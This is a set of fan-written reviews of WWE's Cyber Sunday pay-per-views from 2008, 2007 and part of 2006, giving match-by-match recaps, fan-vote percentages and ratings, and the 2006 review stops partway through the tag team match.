Cyber Sunday 2008
Date: October 26, 2008
Location: US Airways Center, Phoenix, Arizona
Attendance: 7,981
Commentators: Michael Cole, Jim Ross, Tazz, Jerry Lawler, Matt Striker, Todd Grisham

The major match is another step in the rise of Jeff Hardy, who has been chasing the World Title since back in January. This time he’s chasing HHH for the Smackdown World Title and has two out of three chances to get another shot as the options are Hardy, Vladimir Kozlov (a Russian monster) or both at the same time. Let’s get to it.

Pre-Show: US Title: Shelton Benjamin vs. ???

R-Truth – 59%
Festus – 25%
MVP – 15%

This is a special match that aired before the show on WWE.com. Shelton is defending and is now known as the Gold Standard, meaning he has gold hair and is really arrogant. Shelton goes after the arm to start but Truth flips over him in the corner and gets two off a leg lariat. The champ comes right back with a hot shot and running kick to the face before we hit the chinlock.

Truth fights up with right hands and clotheslines but takes too long going up, allowing Shelton to jump to the top because he’s an athletic freak. Benjamin gets shoved down so Truth can hit a missile dropkick for two. A quick Paydirt (jumping Downward Spiral) retains Shelton’s title at 3:23.

Rating: D+. This match existed so Truth could do his entrance and fire up the crowd so everything worked fine on that front. To be fair this was just a quick bonus match to get things going and WWE happened to air it on their website. Shelton was pretty much done as anything interesting as soon as he took on this Gold Standard deal because it was so one note and allowed him to keep being lazy and do nothing for the next year and a half before he left the company. Truth on the other hand is still in about the same spot eight years later. Not that there’s anything wrong with that as he’s still popular and employed.

The opening video is a bunch of wrestlers saying our votes don’t matter and no one cares. Then the wrestlers realize that these votes decide their future so tonight it’s all about the fans. Apparently it’s our pay per view. Then why did we have to pay for it?

Rey Mysterio vs. Kane

No Holds Barred – 39%
Falls Count Anywhere – 35%
Two Out Of Three Falls – 26%

Kane was back to being an evil monster and wanted to take Rey’s mask for reasons that weren’t exactly clear. Rey tries some fast offense early on but quickly resorts to weapons. This goes just as badly because someone nearly two feet shorter than Kane can’t do much with a stop sign, allowing Kane to kick him in the face. Well mask but you get the idea.

Kane lifts him up with one arm and rams him back first into the post for two back inside. We hit the trash talk as Kane berates Rey for hiding behind the mask. A legdrop gets two for Kane and he bends Rey’s back across his knee. It’s off to a nerve hold for a bit before we hit the backbreaker again. Rey rakes the eyes and scores with the sitout bulldog, followed by a quick enziguri.

That just earns him another boot to the face and now it’s time for a chair. Mysterio is fast enough to dropkick it back into Kane’s face, which Cole describes as “swashbuckling style.” The monster comes right back to knock Rey down, allowing him to go grab the steps. As expected, that just means Kane goes face first into the steps, setting up the springboard seated senton for two. A few chair shots set up the 619 and the springboard splash to give Rey the pin at 10:20.

Rating: D+. It was decent enough but the stipulation was barely used for the most part. This really just made Kane look more inept than monstrous, basically defeating the point of the feud. It’s also kind of an odd choice for an opener but the match wasn’t horrible and had some decent stuff from Rey. Overall though it feels flat and that’s not how you start a show.

There’s another Divas Halloween costume this year and we’ll be seeing the choices throughout the night, including Michelle McCool as a soldier, Katie Lea as a vampire (basically just her normal look with fangs), Lena Yada as a ninja and Candice Michelle as Marilyn Monroe.

Chris Jericho comes up to Legacy (Ted DiBiase Jr., Cody Rhodes and Manu (son of Afa), a group of second generation wrestlers) and says he loved the way they took out CM Punk. Jericho thinks they’re on the verge of greatness and suggests they take out Batista tonight. Cody tells him to do his dirty work himself.

ECW Title: Matt Hardy vs. ???

Evan Bourne – 69%
Finlay – 25%
Mark Henry – 6%

Bourne is a high flier with a great looking shooting star press. Matt, in a rare position as the bigger man, runs Evan over a few times until Evan gets a good looking dropkick. Evan spins out of a test of strength to get two off a victory roll before reversing the Side Effect for the same result. Matt gets tired of this fast paced offense so he forearms Evan out to the floor to take over.

Back in and Bourne starts in on the arm for a change of pace. A standing shooting star press gets two on the champ and it’s right back to the arm. Hardy rolls outside for a breather and pretty easily breaks up an Asai Moonsault. Back in and Matt drops a middle rope elbow to the back for two, followed by a quickly broken abdominal stretch. Splash Mountain (Razor’s Edge into a powerbomb) is countered with a hurricanrana as the fans seem to be more behind Evan than Matt.

A pair of Side Effects gets two for Hardy but somehow Matt’s middle rope legdrop is countered by a spinwheel kick. Shouldn’t Matt have known that Evan was already up? Bourne gets two off a really fast moonsault press out of the corner as Todd says this has been going a hundred miles an hour since the opening bell. Someone needs to teach him the concept of speed. Matt grabs a rollup (and maybe some tights) for two but has to avoid the shooting star. The Twist of Fate retains Matt’s title at 11:04.

Rating: C. This picked up a lot after the halfway point but the first half with the arm work from Evan and Matt using power wasn’t the most exciting stuff. Matt never has been the best power guy/brawler so the match got better once he went back to his normal style. Bourne looked good here and would seem ready for a strong push but two days later he would dislocate his ankle and miss over four months.

Beth Phoenix is a gladiator, Jillian Hall is Batgirl, Maria is a bunny and Kelly Kelly is a sailor.

Here are the choices for the next tag match:

John Morrison/The Miz vs. Cryme Tyme – 38%
Legacy vs. Kofi Kingston/CM Punk – 35%
William Regal/Layla vs. Jamie Noble/Mickie James – 27%

John Morrison/The Miz vs. Cryme Tyme

This is a feud over who has the better internet show. The choice is a bit odd as Legacy vs. Punk/Kingston would have been for the Raw Tag Team Titles. Morrison and JTG get things going and take turns driving each other into the corner. Not exactly a thrilling start. JTG gets in a back elbow to the jaw for the first real offense before it’s off to Miz vs. Shad with the big man giving JTG something like a reverse Alabama Slam onto Miz for two.

It’s back to Morrison as the announcers talk about underwear. Miz and Morrison are both sent out to the floor before Shad throws JTG onto both of them for a cool power display. Back in and John drives Shad into the corner to take over on the knee. We hit a leg lock from Miz followed by a half crab from Morrison. Shad pretty easily kicks Miz away and makes the tag off to JTG.

Everything breaks down and JTG gets beaten down for a change as Miz questions the fans thinking he can’t wrestle. Miz hits a running corner clothesline for two and we hit the chinlock. JTG gets up and drops Miz long enough for the hot tag to Shad. Everything breaks down and Shad gets two off a spinebuster to Morrison. Miz kicks Shad in the knee though, setting up Morrison’s Midnight Drive (flip neckbreaker) for the pin at 10:22.

Rating: D+. This felt more like the opener with the match never really going anywhere after the first few minutes. Just like Mysterio vs. Kane, this started fast but never got off the ground. Maybe there wasn’t enough heat from two internet shows that most people didn’t watch to warrant a pay per view match. If only there was an option for some titles.

Tiffany is something like a nun, Brie Bella is Cleopatra, Natalya is a cop and Eve Torres is a Teenage Mutant Ninja Turtle.

Jericho can’t get Great Khali’s help in the main event either.

Intercontinental Title: Santino Marella vs. ???

Marella is a goofy Italian who somehow landed Beth Phoenix, a good looking blonde in great shape. He’s also been talking about how he’s going to surpass Honky Tonk Man’s record for the longest Intercontinental Title reign, which included the Honk-A-Meter. Before the opponent is revealed, Santino insults various athletes who come to Phoenix and fade away. The list includes Shaquille O’Neal, who happens to be here. Here are the choices for his opponent:

Honky Tonk Man – 35%
Roddy Piper – 34%
Goldust – 31%

The word duh comes to mind though that’s WAY closer than I was expecting. Before the match, Honky Tonk Man says Santino could hold the title for ten years and it wouldn’t mean as much as his reign. Eh to be fair that’s probably not too far from the truth. A dance off ensues until Honky Tonk hits a few right hands and grabs a headlock, only to have Beth trip Honky Tonk for the DQ at 1:05.

Santino yells at Beth for a bit, followed by the other options coming out for the big beatdown and a lot of cheering.

Maryse is a French maid (of course), Layla is Princess Layla, Victoria is a banana (she has appeal) and Mickie James is Lara Croft.

We recap Undertaker vs. Big Show. Big Show knocked Undertaker out to prove that Undertaker was mortal and unable to take the big right hand. Undertaker came back and said he wasn’t done fighting yet so they’ll have another fight here.

Undertaker vs. Big Show

Last Man Standing – 49%
I Quit – 42%
Knockout Match – 9%

Smackdown General Manager Vickie Guerrero says I Quit won in a fairly inoffensive gaffe. They slug it out to start with Big Show knocking him over the top and out to the floor. Undertaker is thrown into the timekeeper’s area so he comes back with a chair to the head. Back in and Show easily runs Undertaker over before kicking him out to the floor. Show misses a chair shot though, allowing Undertaker to drive it into his throat for an eight count. Undertaker starts hammering away but gets clotheslined for his efforts.

Show just starts pounding on Undertaker’s ribs before trying a chokeslam, which is reversed into a DDT for nine. This of course begs the question of why he didn’t just immediately throw the KO Punch since he was easily pounding on the ribs. Show takes a turnbuckle pad off but gets sent into it himself (because duh) so they can head outside. Undertaker is whipped into the steps over and over before they stop fighting to load up the announcers’ tables.

A superkick (well moderately super) puts Undertaker over the barricade and a chokeslam sends him through the table for nine. Show yells at Undertaker for not quitting but Undertaker comes back with right hands. Another DDT plants Show inside but Old School is countered into a weak chokeslam for nine more. The KO Punch gets the same so Show caves Undertaker’s head in with a chair. Show leans down to talk some trash but gets pulled into the Hell’s Gate choke, knocking him out for the ten count at 19:23.

Rating: B-. This could have been a lot worse and the good ending drags it up a bit higher. You had to expect these two to have a low and plodding match but the idea of two big guys hitting each other a lot worked well enough. This was more of an old school Undertaker match and while he’s not exactly what he used to be, this was still good enough and better than I was expecting to have to sit through.

Raw General Manager Mike Adamle (a hopeless buffoon) won’t give Jericho leniency either. Jericho gets a message on his phone that seems to give him some hope.

It’s time for the Halloween costume results with all of the Divas being brought out. Mickie James wins and they don’t even bother with percentages. A big brawl breaks out with the good ones being left to pose.

We recap the Smackdown World Title match which is really more of a question of how badly will Hardy alone dominate the other options. Hardy and HHH have been feuding for a few months though they’re both still faces. Kozlov is just there despite most people not being interested.

Smackdown World Title: HHH vs. ???

Jeff Hardy – 57%
Jeff Hardy/Vladimir Kozlov – 38%
Vladimir Kozlov – 5%

Yeah that’s not a surprise with the Hardy options totaling 95% and even the triple threat was blown out by Jeff alone. They go with some basic wrestling to start as Jeff works on a hammerlock on the mat. An armdrag sets up an armbar but Jeff can’t hit the Twist of Fate. JR thinks Hardy’s green belt means money tonight. Now you’re just stretching dude. Jeff tries to get to the top but gets sent crashing back down to the floor.

HHH sends him shoulder first into the post and it’s time for an armbar. Jeff sweeps the legs and drops a legdrop between the champ’s legs for two but the slingshot dropkick is nicely countered into a spinebuster. We hit a crossface of all things to stay on Jeff’s shoulder until Hardy rolls backwards into a rollup for the break. They head outside with HHH being sent into the steps and Jeff nailing Poetry in Motion against the barricade.

Back in and a pair of Whispers in the Wind get two on the champ as the fans are getting more into this. The Twist of Fate is countered but Jeff reverses the Pedigree into a rollup for two in a hot sequence. Now the Twist connects for two and there’s a Swanton for no cover. A second one hits knees but Jeff knocks him outside, only to completely miss a plancha. HHH goes down anyway but HHH crotches him back inside, setting up the Pedigree to retain at 15:36.

Rating: B. These two had some strong chemistry together and it was clear that Hardy was getting closer and closer every single time. HHH getting the title again wasn’t the most popular idea but he was having great matches and giving Hardy a great rub in matches like this one. There’s also the idea that Hardy never covered after hitting the Swanton, meaning there was no way of knowing if he had the pin there or not. Good stuff here and another nail in Kozlov’s main event coffin.

We recap Batista vs. Chris Jericho. Batista became #1 contender last month at No Mercy by beating John Bradshaw Layfield and gets his chance to reclaim his title here. Jericho is on a roll with his holier/more intelligent than thou heel character but Batista is just a monster. There isn’t even a gimmick here with the fans getting to vote on a guest referee.

Raw World Title: Chris Jericho vs. Batista

Steve Austin – 74%
Shawn Michaels – 22%
Randy Orton – 4%

Jericho is defending and the fans chant for Austin, much to the champ’s annoyance. For some reason Jericho decides to slap Batista in the face to start, earning himself some shoulders to the ribs in the corner. That means it’s time for a breather on the floor and a walk up the aisle but Austin says if he leaves he loses the title. I would picture Austin going up the aisle and throwing him back in but I guess Steve has mellowed a bit.

Back in and an elbow to the jaw followed by a suplex gives Batista a two count. Jericho tosses him outside for a breather and a baseball slide. Batista’s knee gets caught in the ropes so Jericho can have a target. A leglock sets up a chop block and it’s time to crank on the ankle. That’s switched over to a chinlock before Batista has to kick away a Walls of Jericho attempt.

Jericho charges into a boot to the face and Batista’s leg is fine enough for a powerslam. It bangs up his knee though and Jericho grabs the Walls which is quickly swapped for a half crab, guaranteeing that Batista doesn’t tap. Austin has to pull Jericho off when he Batista grabs the ropes, doing his first noteworthy thing in the last ten minutes. A Boss Man Slam (not a tilt-a-whirl side slam Cole) gets two on the champ but Jericho goes back to the knee to escape the Batista Bomb.

Batista misses a charge and goes shoulder first into the post but he’s still able to break up a superplex attempt. A good looking top rope shoulder gets two on Jericho but it’s time for the ref bump with Batista running Austin over by mistake. The Codebreaker drops Batista so here’s Shawn Michaels (Jericho’s big rival) for a comically slow count (as in nearly fifteen seconds to get to two).

Batista spears Jericho but JBL comes out to beat up Shawn. Here’s Randy Orton to knock Austin down so Jericho can hit Batista in the head with the belt for two. Austin gets back up with a Stunner for Orton, leaving Batista to give Jericho a spinebuster and the Batista Bomb to win the title at 17:06.

Rating: B-. This was fine and even good at times but absolutely nothing worth getting excited over. Batista winning the title sent the fans home happy but it’s really early for Jericho to lose the title less than two months after he won it. To be fair though this was just a quick reign as Batista would drop the belt back to Jericho eight days later at the 800th episode of Monday Night Raw. The referee stuff was nice for a change after last year where Austin was absolutely nothing. It also helps that this stuff made sense instead of just being there as random violence.

Overall Rating: C+. The show was perfectly fine but it was clear that the voting gimmick had outlived its usefulness, hence why this was the final year. The wrestling was a slightly downgraded version of the previous year’s as the final three matches all worked but the stuff earlier in the show wasn’t as strong. I’ll take a decent show over a mess though and that’s about all there is here.

 

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Cyber Sunday 2007
Date: October 28, 2007
Location: Verizon Center, Washington DC
Attendance: 10,094
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross, Jerry Lawler, Tazz, Joey Styles

This show can’t come fast enough, as the build hasn’t exactly been great. The good thing is there are enough interesting matches on the show and some of the stipulations could work out. The voting is enough of a hook to make the show, which includes Randy Orton defending the Raw World Title against someone and Batista vs. Undertaker with a referee to be determined, work. Let’s get to it.

The opening video has an election theme, as the wrestlers have been trying to gain the fans’ votes. Giving the fans a direct say is always a good idea.

Rey Mysterio vs. Finlay

Stretcher Match – 40%
No Disqualification Match – 36%
Shillelagh On A Pole Match – 24%

There is a stretcher at ringside and you have to put your opponent on it and move over a line. Finlay starts fast by getting Rey into the corner and sending him shoulder first into the post. A toss sends Rey under the ropes and onto the stretcher before Finlay drops him ribs first onto it again. It’s way too early to send Rey over the line though so he heads back inside for a change.

A headscissors takes Finlay down and a basement dropkick staggers him again, meaning it’s time to go outside again. Finlay fights off of the stretcher though and kicks Rey in the chest…before going up the pole that has the Shillelagh in case the other stipulation was picked. Rey powerbombs him out of the corner and grabs the Shillelagh himself but Finlay takes it away and starts going after Rey’s knee.

Finlay rams the stretcher into Rey, who manages a 619 on the apron to send Finlay onto the stretcher. A splash is almost enough to get him over the line but the stretcher gets caught on a TV cord. With that out of the way, a flapjack onto the stretcher is enough to give Rey the win.

Rating: C+. The stretcher was a bit of a weird way to go but it was a unique enough of a way to go. These two have had a nice feud over the last few weeks and Mysterio gets a win to keep him in the thing. Finlay continues to be a perfectly solid midcard villain and he should be able to keep things going for a pretty long while to come.

Matt Hardy vs. MVP is off the card because Matt busted his head WAY open on Smackdown. He looks like he was in a car crash as MVP comes in to offer condolences. Matt says that MVP gets to face someone the fans pick for the US Title, with the options being Mark Henry, Great Khali or Kane. MVP’s panicked face is great as he’s off to talk to Vickie Guerrero about this.

JBL begs fans to vote for him to referee the main event.

We see the Divas in their Halloween costumes, including

Maria (cat)
Victoria (sumo wrestler, with Kenny Dykstra as Mr. Fuji, setting up the Ron Simmons cameo)

More on this later I’m assuming.

ECW World Title: CM Punk vs. ???

The Miz – 39%
John Morrison – 33%
Big Daddy V – 28%

That’s about as expected, as ECW had been pushing Miz as the challenger and he’s a fresh match. Punk takes him down with a front facelock to start before taking him down into a headlock. Miz reverses into a headscissors and they get up to their feet for a slugout. There’s a slingshot suplex to give Punk two but Miz gets in a few shots of his own. Punk catches him on top, only to get pulled down for a crash.

The running corner clothesline gets two and Miz grabs a cravate. The fans tell Miz that he can’t wrestle and Punk comes back with a suplex for two. Miz is right back with a neck snap across the top and we hit the chinlock. With that not working, Miz goes up but Punk runs the corner for a super armdrag. The springboard clothesline gives Punk two and, after avoiding a running knee, he hits the GTS to retain the title.

Rating: C. I like Miz getting the shot but this was a TV match and nothing more. Miz isn’t ready to take the title but it is a nice way for him to get his feet wet on a higher stage. He has done well so far and getting a pay per view title match of his own shows you what he might be capable of doing. Punk needs some bigger challengers soon though, and this was another stop gap.

More costumes!

Mickie James (Native American)
Torrie Wilson (Washington football player)

We recap the Raw World Title situation. Randy Orton is the champion but needs a challenger. The options include Jeff Hardy, Mr. Kennedy and Shawn Michaels and here are the results:

Shawn Michaels – 59%
Jeff Hardy – 31%
Mr. Kennedy – 10%

Therefore, we need a bonus match.

Mr. Kennedy vs. Jeff Hardy

Non-title. Feeling out process to start with Kennedy driving him into the corner but Hardy walks the corner with a headlock takeover. That’s reversed into one from Kennedy but Hardy sends him outside and hits the big dive off the top. Back in and Hardy rains down right hands in the corner but Kennedy knocks him outside. A running boot to the head gets two on Hardy on the way back in and we hit the neck crank.

There’s a DDT for two on Hardy and we hit the chinlock. With that let go, Kennedy goes up top but gets super hurricanranaed back down. Jeff hits a heck of a clothesline into the Sling Blade for two. The Whisper in the Wind gets the same but the slingshot kick in the corner misses and Kennedy steals the pin.

Rating: C+. That was a rather weird ending as Kennedy pinned him clean off the miss and Hardy wasn’t even close to kickout out. If they were working a fake injury there, Hardy sold it very well as he looked a bit stunned when he hit the mat. The match felt like it could have been on any given Raw, though it worked out pretty well as a bonus match, odd ending aside.

Michael Cole votes for Kane to face MVP.

More Halloween costumes, with Michelle McCool as Eve from the Garden of Eden and Melina as a Las Vegas showgirl.

Mick Foley is in the back to talk about possibly being the guest referee tonight but JBL cuts him off. JBL goes on a rant about how Foley is just here to sell some book so we see a very pro-JBL/anti-Austin/Foley campaign style video. After the video, Foley says it’s interesting that he is between Fatheads (big wall decorations) of Batista and Undertaker when JBL is the biggest fathead around. Foley has been a referee before and he can do it again.

US Title: MVP vs. ???

Kane – 67%
Great Khali – 24%
Mark Henry – 9%

Kane is challenging and that is a pretty definitive pick. MVP bails to the floor to start and asks for an early time out. Back in and MVP slugs away but gets dropped with a single shot to the face. A big boot into the side slam gives Kane two but MVP goes after Kane’s bad ribs to take over.

Some stomping to the ribs set up the running boot in the corner for two and we hit the abdominal stretch on the mat. Kane fights up and goes after MVP’s ribs for a change, including standing on them in the corner. A backbreaker sets up a quickly released abdominal stretch on MVP before Kane bends the ribs around the post. That’s enough for MVP who takes the countout to retain.

Rating: C-. Speaking of TV matches, they didn’t even have a good one here, as Kane mauled him for the most part and then won via countout, likely setting up a rematch. This was also rather short, with the two of them not having time to get very far. MVP escapes to continue holding both titles though and that is the right way to go in the long term.

SAVE US!

Back to the Halloween costumes, with Layla as a cop and Kelly Kelly as a gangsta (her term).

Randy Orton says be careful what you wish for. He sends us to a recap video of the bad things he has done to Shawn Michaels, including putting him on the shelf.

Raw World Title: Randy Orton vs. Shawn Michaels

Orton is defending and we get started after some fairly lengthy referee’s directions. Shawn starts fast with a knee to the ribs and some chops to send Orton to the floor. That means a slingshot flip dive to drop Orton again and they head back inside to slug it out. Orton takes him down and grabs a front facelock but gets sent shoulder first into the post to break that up.

That means it’s time to start going after Orton’s arm, including a short armscissors. With that broken up, Shawn goes to the headlock with the arm trapped but Orton fights up and drops him onto the barricade. Back in and Orton hits the dropkick, setting up the rear naked choke.

With that broken up, Michaels reverses a belly to back suplex into a crossbody for two. The backbreaker gives Orton two more though and Shawn is down again. The superplex is broken up with some right hands and Shawn…misses the top rope elbow. Since it’s Shawn, he chops his way out of trouble and hits the running forearm into the nip up. Now the top rope elbow can connect but Shawn’s superkick is cut off by a low blow for the DQ

Rating: B-. While a better match, this was rather similar to MVP vs. Kane, as it felt designed to set up something else down the line. Orton wasn’t about to lose the title so soon but they also didn’t want to have Shawn lost on his first pay per view match back. That left this as about the only choice and it came off well, as the two of them are talented enough to make anything work in any situation.

Post match Orton loads up the Punk but Shawn is back up with the superkick to leave Orton laying (after a great sell as he staggers a bit and then collapses).

Back to the costumes, with Brooke as a jungle girl and Jillian Hall as Brittney Spears.

We recap HHH vs. Umaga, with Umaga serving as HHH has been mocking Vince McMahon over being Hornswoggle’s father. Therefore it is time for some violence, with the fans getting to pick the stipulation. This time though, there are three viable options and it could go any way.

HHH vs. Umaga

Street Fight – 57%
Steel Cage – 26%
First Blood – 17%

I’m a bit surprised it’s that one sided. HHH goes straight for him in the aisle and they fight on the keyboard set. The Samoan drop is escaped so HHH spears him through part of the set. They fight into the crowd with HHH being knocked down the steps but being able to backdrop Umaga over the barricade.

Some right hands inside stagger Umaga and a trashcan shot to the head gives HHH two. Now the Samoan drop can connect and Umaga starts in on the ribs. It’s back to the floor with HHH being sent into the steps, setting up the bearhug back inside. With that not working, Umaga hits the running hip attack in the corner for two so the referee gets scared out to the floor.

Umaga grabs a chair but HHH uses it to hit him low. A DDT onto the chair gives HHH two but Umaga plants him with the swinging Rock Bottom. Umaga starts loading up a bunch of announcers’ tables but HHH knocks him over them to get the brawling going again. That means HHH is laid out on the table for a running splash from one table and through another. The top rope splash misses back inside though and HHH grabs the sledgehammer. After ducking the Samoan Spike, the sledgehammer to the head sets up the Pedigree to finish Umaga.

Rating: B. Match of the night here so far, as HHH got to slay the dragon, albeit after the dragon put up a heck of a fight. That is where Umaga plays a rather important role, as he is able to do this against almost anyone. The fact that he is in there against HHH makes it better, as he certainly knows how to do this kind of thing. Odds are they probably did this at a few dozen house shows so they had the practice down too. Good fight.

Halloween costume results! JR: “Let’s just cancel the whole thing.”

Mickie James – 21%
Kelly Kelly – 17%
Torrie Wilson – 15%
Melina – 12%
Maria – 12%
Layla – 7%
Jillian Hall – 5%
Victoria – 4%
Brooke – 4%
Michelle McCool – 3%

We recap Batista vs. Undertaker, which is one of the bigger and better feuds in recent years. They have gone back and forth over a good chunk of the year (without Batista actually being able to beat him) and now it is time for their latest round. That means it’s time for a special guest referee….but first we need to hear about 13 million people voting. We also need to hear from JBL, who knows everyone has voted for him. Cue Mick Foley for the results:

Steve Austin – 79%
Mick Foley – 11%
John Bradshaw Layfield – 10%

JBL and Foley get in a brawl but here’s Austin too. JBL beats Austin down in the corner but the Clothesline From JBL is cut off with the Stunner and does his posing so we can get it out of the fans’ systems.

Smackdown World Title: Batista vs. Undertaker

Undertaker is challenging and Steve Austin is guest referee. Batista misses the spear at the bell so he tries a headlock, which is broken up in a hurry. Another headlock is countered into a big boot to give Undertaker two and he sends Batista’s arm into the buckle. Batista fights back and hits a few shoulders to the ribs in the corner. That’s broken up and Undertaker grabs a triangle choke before taking him to the apron for the big boot to the side of the head.

The arm is wrapped around the top rope again but Undertaker misses a running big boot to put him down again. They head outside with Undertaker being sent into various hard objects, only to come back with his jumping clothesline. Old School is broken up and Undertaker misses another running boot in the corner, sending him crashing to the floor. Back in and Undertaker drops onto Undertaker’s back a few times for two and they’re already on the outside again.

The apron legdrop has Batista in more trouble and Snake Eyes makes it worse. The big boot is cut off with Batista’s big clothesline for two as this is all high impact so far. Undertaker drives him into the corner to break up the Batista Bomb though and the bad arm is sent into the post. Batista manages a spinebuster for a delayed two but Undertaker pulls him into the triangle choke.

In a smart move, Batista stacks him up for two and Undertaker has to let go. The chokeslam gives Undertaker two but the Tombstone is escaped, allowing Batista to hit a spear for two of his own. Batista hammers away but gets caught in the Last Ride for another close two. Another spinebuster gives Batista another two..,and Undertaker sits up, scaring the heck out of Batista. The Batista Bomb is only good for two and Batista is shocked all over again. One more Batista Bomb finally puts Undertaker away to retain the title.

Rating: B. This is another one of those pairings that is going to work no matter what. Batista finally gets to beat Undertaker and that is what he needed to do at some point, especially if they are going to fight again someday. They followed their standard formula here of letting both guys beat each other up for a long time and it still works. Austin was a complete non-factor here, which was rather nice for a change.

Overall Rating: B+. Despite a not great build with the campaigning stuff, this was a pretty sweet show with one good match after another. There might not be a classic on the card but having a string of pay per view quality stuff mixed in with some solid TV level matches made for a good three hours. They got this right, though it is something that could only work once a year or so.

 

 

 

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Cyber Sunday 2006
Date: November 5, 2006
Location: US Bank Arena, Cincinnati, Ohio
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler

It’s time for the interactive show as we have the fans picking a lot of the specifics about the card. This can range from stipulations to titles on the line to participants, though hopefully we don’t have more of the two joke options and one real one. The main event is the Champion of Champions match, which certainly sounds big. Let’s get to it.

The opening video talks about how the fans have the power and runs down the major matches/fan choices.

The huge computer setup with the keyboard stage looks awesome.

Umaga vs. ???

Kane – 49%

The Sandman – 28%

Chris Benoit – 23%

There’s something surprising about Benoit finishing last, though Kane has been feuding with Umaga and Sandman at least got a promo about the match. Umaga has Armando Alejandro Estrada with him. The slugout is on to start with Kane knocking him into the corner and choking away. Kane charges into a belly to belly suplex though and earns himself a kick to the chest for trying the sit up. The spinwheel kick drops Kane again and there’s a facebuster to cut off the comeback attempt.

Umaga hits a pretty far middle rope headbutt for two and they head outside, where the Samoan Spike only hits the post. Back in and some running clotheslines rock Umaga, who is right back with the Samoan drop. Kane sits up again and avoids a splash in the corner, setting up a belly to back suplex. It’s time to go up but Umaga knocks him out of the air, setting up a jumping Samoan Spike for the pin.

Rating: C. Not a bad power brawl here and that is all it needed to be. Let them go out there and have a fun match, which worked out rather well because they’re both good at this kind of thing. Kane is going to be fine despite losing every single match in the feud because he is long established in his spot. Umaga is rolling though and there aren’t many spots left for him before going to the main event.

Queen Sharmell talks to Big Show and suggests a King Booker/Show alliance. Show says she may be beautiful, but offers to put that shiny scepter somewhere.

Cryme Tyme vs. Charlie Haas/Viscera vs. Highlanders vs. Lance Cade/Trevor Murdoch

Texas Tornado – 50%

Tag Team Turmoil – 35%

Fatal Four Way – 15%

I don’t think this was mentioned on TV, or at least not mentioned extensively. The brawl is on in a hurry with Cade and Murdoch and the Highlanders fighting out to the floor. Haas gets low bridged out to the floor but Viscera’s elbow misses JTG. A middle rope splash gets two with Cade making the save.

The Highlanders come in and clear the ring before everyone heads out to the floor. JTG is back in with a dropkick to Haas and Shad slugs away on Viscera. That earns Shad a swinging Boss Man Slam, leaving the Highlanders to slug it out with Cade and Murdoch. Robbie gets dropped with a High/Low but Shad takes out Cade and JTG steals the pin.

Rating: C-. This was short but energetic as Cryme Tyme gets another win to keep their momentum going. That is such a lost art these days and it is nice to see Cryme Tyme getting a push. They might not be the greatest or most polished team in the world, but they are getting more and more popular while establishing themselves as a good team. It still really can be that simple.

Post match Cryme Tyme steals Lawler’s laptop. Lawler: “IT’S NOT EVEN PAID FOR YET!”

Shawn Michaels is messing with a laptop when HHH comes in to say stop worrying about the guest referee. They already shoved Vince’s head into Big Show’s tights and spray painted Coach, so that leaves Eric Bischoff as the one person they haven’t done something horrible to yet. Controversy does create case….but Shawn isn’t the controversial anymore. Shawn: “I’M THE ONE WHO PUT BRET HART IN THE SHARPSHOOTER YOU KNOW” And HHH married…..what’s her name!

Shawn sees a backstage worker named Stan (hi Shawn Spears) and superkicks him, saying he just kicked STAN. Shawn goes running down the hall, ranting about controversy and superkicking everyone he finds. HHH thinks it’s funny, and he’s absolutely right, as this is one of my all time favorite backstage segments. Shawn might not be the funniest guy ever, but he found a style that worked for him and played it very well, including the bizarre visual of him running around superkicking strangers. I throw this on when I need a laugh and it still holds up.

Intercontinental Title: Jeff Hardy vs. ???

Carlito – 62%

Shelton Benjamin – 25%

Johnny Nitro – 13%

Well that’s a landslide. They trade knockdowns to start until Carlito dropkicks the knee out. A suplex gives Carlito two but Hardy hits a running dropkick to put him down as well. Carlito takes a breather on the floor and There’s the running dropkick through the ropes. Hardy’s run the barricade clothesline is dropkicked out of the air so they head back inside, where Hardy fights out of a chinlock.

The slingshot dropkick in the corner is blocked as well so Carlito slaps on a waistlock. Hardy grabs a rope but Carlito is right back with a double legdrop to the ribs. We hit the waistlock again as commentary says this is our third interactive pay per view, without actually mentioning Taboo Tuesday of course. A backbreaker gets two more on Hardy and the sleeper (Carlito: “GO TO SLEEP!”) goes on.

That’s broken up and Hardy hits something like a tornado DDT for two as Lawler won’t shut up about Hardy’s hair color. A sitout gordbuster drops Carlito again but he’s fine enough to get the knees up and block the Swanton. Carlito’s springboard elbow gets two so Hardy runs the corner for the Whisper in the Wind. Hardy goes up top where Carlito catches him, only to get shoved back for a crash. The Swanton retains the title.

Rating: B-. This started slowly but then turned into a rather fun back and forth match as they played a game of trying to top the other. Hardy didn’t so much win as much as hitting the last big move, which means we are likely to see more from Hardy vs. Carlito. I’m not sure how well Carlito’s face run is going, but he was in a pretty good one here..

We recap Edge/Randy Orton vs. DX. Edge and Orton were tired of DX dominating WWE and wanted revenge on them for apparently causing all of Edge and Orton’s problems. This needs a special guest referee though and Vince McMahon is an option.

D-Generation X vs. Edge/Randy Orton

Eric Bischoff – 60%

Jonathan Coachman – 20%

Vince McMahon – 20%

That’s a very surprising result as it’s weird to see McMahon on anything without winning. At least it’s something a little more fresh though. Before the match, DX spends a good amount of time playing to the crowd for some alternating cheers. Shawn finally gets in his catchphrase, because the fans shouting it first. JR officially dubs the team Rated RKO, which really was about as good of a name as you were getting.

Edge punches Shawn in the face a few times to start but gets knocked into the corner for a right hand from HHH. A rollup lets Shawn pull Edge’s tights down and then chops away (JR: “Shawn taking Edge out of his boots after he takes Edge out of his tights!”). The armbar doesn’t last long as it’s already off to HHH to hammer away on Edge’s jaw. Orton comes in and stomps away in the corner but HHH snaps off a suplex. There’s the knee drop for two and more pummeling ensues until Orton is knocked over for a tag to Edge.

This time it’s HHH getting hammered down in the corner with Orton coming in to do more of the same. A quick DDT gets HHH out of trouble so it’s back to Shawn to pick up the pace. Orton is sent outside and Edge is slammed down, setting up the top rope elbow. Sweet Chin Music is loaded up but Orton sweeps the leg and crotches him against the post. Some knee drops give Orton two and Edge comes back in for some stomping.

Commentary agrees that Bischoff has been fine so far as Edge hits a dropkick into a front facelock. Shawn fights up but gets his head taken off with a big boot for two more. Orton hits a dropkick for two and we hit the required chinlock. Another comeback is cut off by Orton’s backbreaker but Edge’s spear hits Bischoff. Shawn enziguris Edge down and the hot tag brings in HHH to clean house. The spear hits HHH and Edge throws in the crotch chop so Shawn crossbodies Edge out to the floor.

